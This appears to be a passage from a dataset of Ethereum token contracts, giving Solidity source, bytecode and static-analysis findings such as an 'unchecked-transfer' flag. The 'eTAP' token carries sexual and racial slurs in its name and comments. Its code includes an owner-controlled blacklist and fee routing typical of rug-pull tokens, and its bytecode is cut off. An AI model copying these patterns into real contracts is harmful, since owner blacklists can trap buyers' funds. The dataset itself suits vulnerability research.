to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) public returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) public { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () public { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () public { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) public { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) public { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105fa565b3480156102d957600080fd5b5061010b610713565b3480156102ee57600080fd5b506101a4600160a060020a036004351660243561074a565b34801561031257600080fd5b506101ee600160a060020a036004358116906024351661078b565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107b6565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152600681527f42616e6b74610000000000000000000000000000000000000000000000000000602082015281565b60006103f2338461078b565b15806103fc575081155b151561040757600080fd5b6104118383610847565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108ad565b90505b9392505050565b601281565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105f2576105696a295be96e64066972000000600454610a4c565b8211156105785750600061052a565b336000908152602081905260409020546105929083610a5e565b336000908152602081905260409020556004546105af9083610a5e565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461061457600080fd5b600160a060020a03841630141561062a57600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069757600080fd5b505af11580156106ab573d6000803e3d6000fd5b505050506040513d60208110156106c157600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600481527f424e4b5400000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076757600080fd5b60055460ff161561077a57506000610414565b6107848383610a6d565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107cd57600080fd5b33600160a060020a03831614156107e357600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108c457600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f7575060006104ad565b600160a060020a03841660009081526020819052604090205482111561091f575060006104ad565b600082118015610941575082600160a060020a031684600160a060020a031614155b156109f757600160a060020a03841660009081526001602090815260408083203384529091529020546109749083610a4c565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109ae9083610a4c565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109dd9083610a5e565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5857fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a8457600080fd5b33600090815260208190526040902054821115610aa357506000610414565b600082118015610abc575033600160a060020a03841614155b15610b215733600090815260208190526040902054610adb9083610a4c565b3360009081526020819052604080822092909255600160a060020a03851681522054610b079083610a5e565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820fc2763e9a2362e01c6a3f43d164bf3326eff5fbfa6f43f32fc5995b084cfa09f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
427
0x5441f7457601b0bb89a4335337a41af13c041396
/** *Submitted for verification at Etherscan.io on 2021-06-18 */ // ETHEREUM TIGHT ASIAN PUSSY (eTAP👩🏻🍑) // // TG: https://t.me/EthereumBigBlackCock // // Ethereum Tight Asian Pussy is a sister DeFi protocol // to Ethereum Big Black Cock. Together the protocols // live in harmoney. Together, it pumps. // Get involved today and feel the energy. // // - TIGHT Total supply of 1 Trillion // - Burning of 20%+ of supply // - 100% of remaining liquidity provided // - 5% token transfer reflection to holders // - Cooldown features embedded // - Anti-bots measures in place // - Sellers tax to incentivize BIG holding // - Fully stealth & fair launch! // // // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.5; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract eTAP is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ethereum Tight Asian Pussy"; string private constant _symbol = 'eTAP\xF0\x9F\x91\xA9\xF0\x9F\x8F\xBB\xF0\x9F\x8D\x91'; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e71565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612978565b61045e565b6040516101789190612e56565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613013565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612925565b61048e565b6040516101e09190612e56565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061288b565b610567565b005b34801561021e57600080fd5b50610227610657565b6040516102349190613088565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a01565b610660565b005b34801561027257600080fd5b5061027b610712565b005b34801561028957600080fd5b506102a4600480360381019061029f919061288b565b610784565b6040516102b19190613013565b60405180910390f35b3480156102c657600080fd5b506102cf6107d5565b005b3480156102dd57600080fd5b506102e6610928565b6040516102f39190612d88565b60405180910390f35b34801561030857600080fd5b50610311610951565b60405161031e9190612e71565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612978565b61098e565b60405161035b9190612e56565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129b8565b6109ac565b005b34801561039957600080fd5b506103a2610ad6565b005b3480156103b057600080fd5b506103b9610b50565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a5b565b61109e565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e5565b6111e8565b6040516104189190613013565b60405180910390f35b60606040518060400160405280601a81526020017f457468657265756d20546967687420417369616e205075737379000000000000815250905090565b600061047261046b61126f565b8484611277565b6001905092915050565b600069021e19e0c9bab2400000905090565b600061049b848484611442565b61055c846104a761126f565b6105578560405180606001604052806028815260200161378f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d61126f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c019092919063ffffffff16565b611277565b600190509392505050565b61056f61126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f390612f53565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066861126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec90612f53565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075361126f565b73ffffffffffffffffffffffffffffffffffffffff161461077357600080fd5b600047905061078181611c65565b50565b60006107ce600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d60565b9050919050565b6107dd61126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086190612f53565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f65544150f09f91a9f09f8fbbf09f8d9100000000000000000000000000000000815250905090565b60006109a261099b61126f565b8484611442565b6001905092915050565b6109b461126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890612f53565b60405180910390fd5b60005b8151811015610ad2576001600a6000848481518110610a6657610a656133d0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aca90613329565b915050610a44565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1761126f565b73ffffffffffffffffffffffffffffffffffffffff1614610b3757600080fd5b6000610b4230610784565b9050610b4d81611dce565b50565b610b5861126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc90612f53565b60405180910390fd5b600f60149054906101000a900460ff1615610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c90612fd3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669021e19e0c9bab2400000611277565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0c57600080fd5b505afa158015610d20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4491906128b8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da657600080fd5b505afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde91906128b8565b6040518363ffffffff1660e01b8152600401610dfb929190612da3565b602060405180830381600087803b158015610e1557600080fd5b505af1158015610e29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4d91906128b8565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed630610784565b600080610ee1610928565b426040518863ffffffff1660e01b8152600401610f0396959493929190612df5565b6060604051808303818588803b158015610f1c57600080fd5b505af1158015610f30573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f559190612a88565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611048929190612dcc565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612a2e565b5050565b6110a661126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90612f53565b60405180910390fd5b60008111611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d90612f13565b60405180910390fd5b6111a660646111988369021e19e0c9bab240000061205690919063ffffffff16565b6120d190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111dd9190613013565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de90612fb3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612ed3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114359190613013565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612f93565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990612e93565b60405180910390fd5b60008111611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90612f73565b60405180910390fd5b61156d610928565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115db57506115ab610928565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b3e57600f60179054906101000a900460ff161561180e573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116b75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117115750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180d57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175761126f565b73ffffffffffffffffffffffffffffffffffffffff1614806117cd5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b561126f565b73ffffffffffffffffffffffffffffffffffffffff16145b61180c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180390612ff3565b60405180910390fd5b5b5b60105481111561181d57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c15750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ca57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119755750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffff